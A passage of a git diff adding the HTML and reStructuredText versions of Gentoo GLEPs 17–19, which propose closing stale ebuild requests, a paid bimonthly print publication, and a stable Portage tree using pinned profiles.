+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 17 -- Resolution for Aging EBuilds</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0017.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">17</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Resolution for Aging EBuilds</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0017.txt?cvsroot=gentoo">2004/11/11 21:40:28</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Caleb Tennis &lt;caleb&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">21-Nov-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">24-Nov-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id1" name="id1">Abstract</a></li>
+<li><a class="reference" href="#status" id="id2" name="id2">Status</a></li>
+<li><a class="reference" href="#motivation" id="id3" name="id3">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id4" name="id4">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id5" name="id5">Implementation</a></li>
+<li><a class="reference" href="#repercussions" id="id6" name="id6">Repercussions</a></li>
+<li><a class="reference" href="#future" id="id7" name="id7">Future</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id8" name="id8">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id9" name="id9">References</a></li>
+<li><a class="reference" href="#copyright" id="id10" name="id10">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id1" id="abstract" name="abstract">Abstract</a></h1>
+<p>Many of the ebuild scripts found within Gentoo's Portage have come as a direct
+result of user submission via Gentoo's Bugzilla interface.  However, a large number
+of open ebuild requests remain in Bugzilla.  This GLEP attempts to resolve these
+requests.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="status" name="status">Status</a></h1>
+<p>Timed out</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="motivation" name="motivation">Motivation</a></h1>
+<p>As of the first draft of this GLEP, there are 1517 EBUILD bug requests in
+Gentoo's bugzilla database.  These requests generally fall into three categories:</p>
+<p>1. The package is important to Gentoo users, but has simply has not yet made
+its way into Portage.</p>
+<ol class="arabic simple" start="2">
+<li>The package is mostly unimportant to Gentoo users</li>
+<li>No ebuild has been provided with the bug request.</li>
+</ol>
+<p>Leaving these requests open does not help Gentoo.  Not only does the bug count
+become artifically inflated, but bug maintenance also becomes more difficult adding
+to open requests that developers must sift through.</p>
+<p>Furthermore, having a policy in place as to how ebuild bug requests are handled is
+important for consistency and accountability.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="rationale" name="rationale">Rationale</a></h1>
+<p>Portage simply cannot contain an automated ebuild for every software package available.
+Ebuilds that are included are done so mostly based on the whim and knowledge of
+developers.  Many software packages are of interest only to a small subset of end users,
+and as such would be a misuse of resources by including in Portage.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="implementation" name="implementation">Implementation</a></h1>
+<p>This implementation applies only to requests which have been idle in the database
+for an extended period of time.  The recommended time is <em>90</em> days.</p>
+<p>After this period, the bugs should be handled in the follow manner:</p>
+<ul class="simple">
+<li>The bug should be closed as a WONTFIX</li>
+<li>The following note should be included in the description:
+<tt class="docutils literal"><span class="pre">No</span> <span class="pre">developer</span> <span class="pre">has</span> <span class="pre">sponsored</span> <span class="pre">the</span> <span class="pre">ebuild</span> <span class="pre">within</span> <span class="pre">90</span> <span class="pre">days</span> <span class="pre">of</span> <span class="pre">request.</span>
+<span class="pre">Closing</span> <span class="pre">per</span> <span class="pre">GLEP</span> <span class="pre">policy</span> <span class="pre">#xx</span></tt></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="repercussions" name="repercussions">Repercussions</a></h1>
+<p>The (systematic) denial of the inclusion of ebuilds into the Portage tree may leave
+some users to feel slighted because their ebuild was not accepted into Portage.
+This is an unfortunate side effect of a system that relies on acceptal or denial.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="future" name="future">Future</a></h1>
+<p>It may be desirable to provide an official repository for abandoned ebuilds to go.
+Any attachments to these bug reports could be placed here, so that the author's effort
+has not gone in vein.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>No current policies exist that interfere with this document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="glep2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="glep2">[1]</a></td><td>GLEP 2, Sample ReStructuredText GLEP Template, Goodyear,
+(<a class="reference" href="http://glep.gentoo.org/glep-0002.html">http://glep.gentoo.org/glep-0002.html</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0017.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0017.txt b/xml/htdocs/proj/en/glep/glep-0017.txt
new file mode 100644
index 00000000..2f5374b6
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0017.txt
@@ -0,0 +1,103 @@
+GLEP: 17
+Title: Resolution for Aging EBuilds
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2004/11/11 21:40:28 $
+Author: Caleb Tennis <caleb@gentoo.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 21-Nov-2003
+Post-History: 24-Nov-2003
+
+
+Abstract
+========
+
+Many of the ebuild scripts found within Gentoo's Portage have come as a direct
+result of user submission via Gentoo's Bugzilla interface.  However, a large number
+of open ebuild requests remain in Bugzilla.  This GLEP attempts to resolve these
+requests.
+
+Status
+======
+
+Timed out
+
+
+Motivation
+==========
+
+As of the first draft of this GLEP, there are 1517 EBUILD bug requests in
+Gentoo's bugzilla database.  These requests generally fall into three categories:
+
+1. The package is important to Gentoo users, but has simply has not yet made
+its way into Portage.
+
+2. The package is mostly unimportant to Gentoo users
+
+3. No ebuild has been provided with the bug request.
+
+Leaving these requests open does not help Gentoo.  Not only does the bug count
+become artifically inflated, but bug maintenance also becomes more difficult adding
+to open requests that developers must sift through.
+
+Furthermore, having a policy in place as to how ebuild bug requests are handled is
+important for consistency and accountability.
+
+Rationale
+=========
+
+Portage simply cannot contain an automated ebuild for every software package available.
+Ebuilds that are included are done so mostly based on the whim and knowledge of
+developers.  Many software packages are of interest only to a small subset of end users,
+and as such would be a misuse of resources by including in Portage.
+
+
+Implementation
+==============
+
+This implementation applies only to requests which have been idle in the database
+for an extended period of time.  The recommended time is *90* days.
+
+After this period, the bugs should be handled in the follow manner:
+
+* The bug should be closed as a WONTFIX
+* The following note should be included in the description:
+  ``No developer has sponsored the ebuild within 90 days of request.
+  Closing per GLEP policy #xx``
+
+
+Repercussions
+=============
+
+The (systematic) denial of the inclusion of ebuilds into the Portage tree may leave
+some users to feel slighted because their ebuild was not accepted into Portage.
+This is an unfortunate side effect of a system that relies on acceptal or denial.
+
+
+Future
+======
+
+It may be desirable to provide an official repository for abandoned ebuilds to go.
+Any attachments to these bug reports could be placed here, so that the author's effort
+has not gone in vein.
+
+
+Backwards Compatibility
+=======================
+
+No current policies exist that interfere with this document.
+
+
+References
+==========
+
+.. [#GLEP2] GLEP 2, Sample ReStructuredText GLEP Template, Goodyear,
+   (http://glep.gentoo.org/glep-0002.html)
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0018.html b/xml/htdocs/proj/en/glep/glep-0018.html
new file mode 100644
index 00000000..5e8b89d1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0018.html
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 18 -- Gentoo Bimonthly Publication</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0018.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">18</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Bimonthly Publication</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0018.txt?cvsroot=gentoo">2004/11/11 21:39:22</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Caleb Tennis &lt;caleb&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">21-Nov-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">24-Nov-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id6" name="id6">Abstract</a></li>
+<li><a class="reference" href="#status" id="id7" name="id7">Status</a></li>
+<li><a class="reference" href="#motivation" id="id8" name="id8">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id9" name="id9">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id10" name="id10">Implementation</a></li>
+<li><a class="reference" href="#other-details" id="id11" name="id11">Other Details</a></li>
+<li><a class="reference" href="#caveats" id="id12" name="id12">Caveats</a></li>
+<li><a class="reference" href="#future" id="id13" name="id13">Future</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id14" name="id14">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id15" name="id15">References</a></li>
+<li><a class="reference" href="#copyright" id="id16" name="id16">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="abstract" name="abstract">Abstract</a></h1>
+<p>As Gentoo becomes more popular, providing good, official information regarding
+the project becomes more important.  This GLEP attempts to present the need and
+suggested logistics for handling a print Gentoo publication.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="status" name="status">Status</a></h1>
+<p>Timed out</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="motivation" name="motivation">Motivation</a></h1>
+<p>Users have flocked to Gentoo because it provides them with what they want. <a class="footnote-reference" href="#philosophy" id="id1" name="id1">[1]</a>
+Many Gentoo sub-projects are the direct result of filling a niche.</p>
+<p>The <a class="reference" href="http://store.gentoo.org">Gentoo Store</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[2]</a> gives users the ability to purchase Gentoo related products, both
+providing.</p>
+<p>This GLEP attempts to fill another niche - providing information to users that would like
+insightful information in print form.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="rationale" name="rationale">Rationale</a></h1>
+<p><em>Premium Content</em> is a buzzword that many companies, particular those strategized around
+open source, are marketing.  Providing premium content such as this to Gentoo users is another
+way of adding value to the Gentoo brand and revenue to the project.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="implementation" name="implementation">Implementation</a></h1>
+<ul class="simple">
+<li>Formation of the Gentoo Publication Team.  This is a small entity of developers (3) that
+are responsible for the bi-monthly deployment of the publication.  An <em>example</em> of some
+suggested guidelines are as follows:<ul>
+<li>Each release will be 8 (eight) pages, front and back.</li>
+<li>The publication will be shipped on the last day of Jan, Mar, May, Jul, Sep, Nov</li>
+<li>The deadline for article submission will be on the last day of the month prior
+to the date of publication</li>
+</ul>
+</li>
+<li>The editorial team is responsible for the content and delivery schedule requirements
+of the publication.</li>
+<li>A billable amount for the publication must be decided upon.  The billing will be handled
+through the Gentoo Store.</li>
+<li>The revenue generated by the publication will be divided up in a fair proportion to the following
+groups:<ul>
+<li>The physical expenses of the publication</li>
+<li>The editorial staff</li>
+<li>Authors of contributed articles</li>
+<li>The Gentoo Store</li>
+<li>A developer fund, to be handled by the <a class="reference" href="http://www.gentoo.org/proj/en/metastructure/index.xml">Metastructure</a> <a class="footnote-reference" href="#id4" id="id5" name="id5">[3]</a> project.</li>
+</ul>
+</li>
+<li>All authors and editors will need to have a contract on file with Gentoo to handle proper
+legal issues surrounding payment and release of written works.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="other-details" name="other-details">Other Details</a></h1>
+<p>The information contained within the print publication would become available to
+all-users via the Gentoo webspace approximately 1 month after the shipment of the
+publication.  This allows all information to be freely shared with all users, keeping
+in line with the spirit of Gentoo.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="caveats" name="caveats">Caveats</a></h1>
+<p>When money gets involved, some people will cry foul.  This GLEP will attempts to
+address this issue by keeping all transactions open and available for perusal by
+both developers and users.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="future" name="future">Future</a></h1>
+<p>The popularity of subscriptions will dictate the direction that this publication will go.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>No current policies exist that interfere with this document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="philosophy" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="philosophy">[1]</a></td><td><a class="reference" href="http://www.gentoo.org/main/en/philosophy.xml">http://www.gentoo.org/main/en/philosophy.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id2">[2]</a></td><td><a class="reference" href="http://store.gentoo.org">http://store.gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="id4">[3]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/metastructure/index.xml">http://www.gentoo.org/proj/en/metastructure/index.xml</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0018.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0018.txt b/xml/htdocs/proj/en/glep/glep-0018.txt
new file mode 100644
index 00000000..3279aa4c
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0018.txt
@@ -0,0 +1,118 @@
+GLEP: 18
+Title: Gentoo Bimonthly Publication
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2004/11/11 21:39:22 $
+Author: Caleb Tennis <caleb@gentoo.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 21-Nov-2003
+Post-History: 24-Nov-2003
+
+
+Abstract
+========
+
+As Gentoo becomes more popular, providing good, official information regarding
+the project becomes more important.  This GLEP attempts to present the need and
+suggested logistics for handling a print Gentoo publication.
+
+Status
+======
+
+Timed out
+
+
+Motivation
+==========
+
+Users have flocked to Gentoo because it provides them with what they want. [#PHILOSOPHY]_
+Many Gentoo sub-projects are the direct result of filling a niche.
+
+The `Gentoo Store`_ gives users the ability to purchase Gentoo related products, both
+providing.
+
+This GLEP attempts to fill another niche - providing information to users that would like
+insightful information in print form.
+
+Rationale
+=========
+
+*Premium Content* is a buzzword that many companies, particular those strategized around
+open source, are marketing.  Providing premium content such as this to Gentoo users is another
+way of adding value to the Gentoo brand and revenue to the project.
+
+Implementation
+==============
+
+* Formation of the Gentoo Publication Team.  This is a small entity of developers (3) that
+  are responsible for the bi-monthly deployment of the publication.  An *example* of some
+  suggested guidelines are as follows:
+
+  - Each release will be 8 (eight) pages, front and back.
+
+  - The publication will be shipped on the last day of Jan, Mar, May, Jul, Sep, Nov
+
+  - The deadline for article submission will be on the last day of the month prior
+    to the date of publication
+
+* The editorial team is responsible for the content and delivery schedule requirements
+  of the publication.
+
+* A billable amount for the publication must be decided upon.  The billing will be handled
+  through the Gentoo Store.
+
+* The revenue generated by the publication will be divided up in a fair proportion to the following
+  groups:
+
+  - The physical expenses of the publication
+  - The editorial staff
+  - Authors of contributed articles
+  - The Gentoo Store
+  - A developer fund, to be handled by the Metastructure_ project.
+
+* All authors and editors will need to have a contract on file with Gentoo to handle proper
+  legal issues surrounding payment and release of written works.
+
+
+Other Details
+=============
+
+The information contained within the print publication would become available to
+all-users via the Gentoo webspace approximately 1 month after the shipment of the
+publication.  This allows all information to be freely shared with all users, keeping
+in line with the spirit of Gentoo.
+
+Caveats
+=======
+
+When money gets involved, some people will cry foul.  This GLEP will attempts to
+address this issue by keeping all transactions open and available for perusal by
+both developers and users.
+
+Future
+======
+
+The popularity of subscriptions will dictate the direction that this publication will go.
+
+
+Backwards Compatibility
+=======================
+
+No current policies exist that interfere with this document.
+
+
+References
+==========
+
+.. [#PHILOSOPHY] http://www.gentoo.org/main/en/philosophy.xml
+
+.. _Gentoo Store: http://store.gentoo.org
+
+.. _Metastructure: http://www.gentoo.org/proj/en/metastructure/index.xml
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0019.html b/xml/htdocs/proj/en/glep/glep-0019.html
new file mode 100644
index 00000000..b7bca698
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0019.html
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 19 -- Gentoo Stable Portage Tree</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0019.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">19</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Stable Portage Tree</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.8</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0019.txt?cvsroot=gentoo">2006/10/10 16:54:34</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Kurt Lieber &lt;klieber&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Withdrawn</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">26-Jan-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">29-Jan-2004 2-Nov-2004 7-Dec-2004 10-Oct-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#id1" id="id5" name="id5">Status</a></li>
+<li><a class="reference" href="#motivation" id="id6" name="id6">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id7" name="id7">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id8" name="id8">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id9" name="id9">Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id10" name="id10">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>Withdrawn by the author.  &quot;If someone wants to take up the torch, more
+power to them, but they should probably start clean with a new glep.&quot;</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP is intended to propose a series of changes to the Portage tree that
+are necessary to facilitate the use of Gentoo in areas where stability and
+predictability are of paramount importance, including servers in enterprise
+environments, mission critical workstations and other such installations.</p>
+<p>The proposed solution involves creating a separate tree in Portage that is
+updated far less often than the regular tree.  Outside of periodic updates,
+this tree would only be updated with critical bugfixes and security patches.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="id1" name="id1">Status</a></h1>
+<p>Currently recruiting people who would be willing to help with this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="motivation" name="motivation">Motivation</a></h1>
+<p>Enterprise users typically value stability and a predictable upgrade path
+over having the latest packages or features available to them.  Historically,
+Gentoo Linux has been unable to provide such an environment due to the dynamic
+nature of the Portage tree.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="specification" name="specification">Specification</a></h1>
+<p>The Gentoo Infrastructure team will need to provide an additional Portage tree
+on our rsync mirroring system.  This new tree will house the ebuilds
+associated with the stable tree.  It also impacts all Gentoo developers
+responsible for creating and updating ebuilds as they will be expected to
+integrate the tagging of ebuilds for the stable tree into their normal
+development process, both for the quarterly release cycles as well as
+off-cycle bug and security fixes.</p>
+<p>The Gentoo Documentation team will also be affected as they will be
+responsible for updating installation documents to take these new features
+into account.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="rationale" name="rationale">Rationale</a></h1>
+<p>A basic outline of various ways of adding a &quot;stable&quot; tree to Portage was
+discussed in the gentoo managers meeting on 26-Jan-04.  Consensus seemed to be
+reached that such a solution was needed and that branching the gentoo-x86
+repository was the appropriate way to accomplish this.  The largest area of
+disagreement surrounded how specific ebuilds should be targeted for inclusion
+in the stable tree.</p>
+<p>One suggested solution was a simple branch of the CVS tree and having
+developers work in two separate branches; one for the stable tree and
+another for the traditional tree.  However, it was felt this would prove too
+cumbersome in practice.</p>
+<p>Another suggestion was to have a small group of dedicated gentoo-server
+developers responsible for generating the contents of the stable tree, which
+would provide more control and quality assurance over the ebuilds added to the
+stable tree.  While this might prove effective for a small number of ebuilds,
+it is quite likely that this model would not scale enough to allow for a large
+number of ebuilds in the stable tree and, over time, the project would become
+resource constrained and unable to meed future deadlines.</p>
+<p>While the original draft of this GLEP called for the creation of a stable
+keyword, we have since discarded that idea in favor of creating a custom
+profile, which will be used to track a subset of packages and versions.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="implementation" name="implementation">Implementation</a></h1>
+<p>This GLEP will create a new set of cascaded profiles (one per release, not to
+exceed two per year) which will contain a subset of packages, including
+versions.  This profile will &quot;pin&quot; a Gentoo Linux box to a specific set of
+packages and will only be updated for security updates and, in rare
+circumstances, major bug fixes.</p>
+<p>Because this profile will be cascaded, the option exists for other developers
+to create their own profile, containing a subset of packages not found in the
+&quot;main&quot; stable tree and include those as part of the overall stable profile.
+These cases will be treated on a one-off basis.</p>
+<p>The initial version will be x86 only, though other people will be encouraged
+to provide separate stable profiles for other arches.  It is expected that any
+effort to provide a stable tree for any arch or flavor of Gentoo will follow
+the basic outline of this GLEP to ensure consistency for our users.</p>
+<p>In addition to a custom profile, this GLEP will also create a separate rsync
+repository, &quot;gentoo-stable-portage&quot;, which will be available on all servers in
+the rsync.gentoo.org rotation.  This repository will be <em>identical</em> to the
+main gentoo-portage repository except that the --delete flag will be removed
+from the rsync option that populates the tree.  This will ensure that users of
+the stable profile will not have to worry about ebuilds for their packages
+disappearing.</p>
+<p>Stable profiles will be maintained on an N - 2 basis.  That is to say that we
+will maintain a stable profile for the most current release, plus the previous
+two releases.  With the expected release schedule for 2005, this will result
+in each profile being supported for approximately 18 months.  Future versions
+of the stable portage tree may seek to increase the life of these profiles.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>All features proposed here are new additions to existing processes and
+features.  There should be no impact on existing features and functionality.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document is licensed under the Creative Commons - Attribution / Share
+Alike license. (<a class="reference" href="http://creativecommons.org/licenses/by-sa/1.0">http://creativecommons.org/licenses/by-sa/1.0</a>)</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0019.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
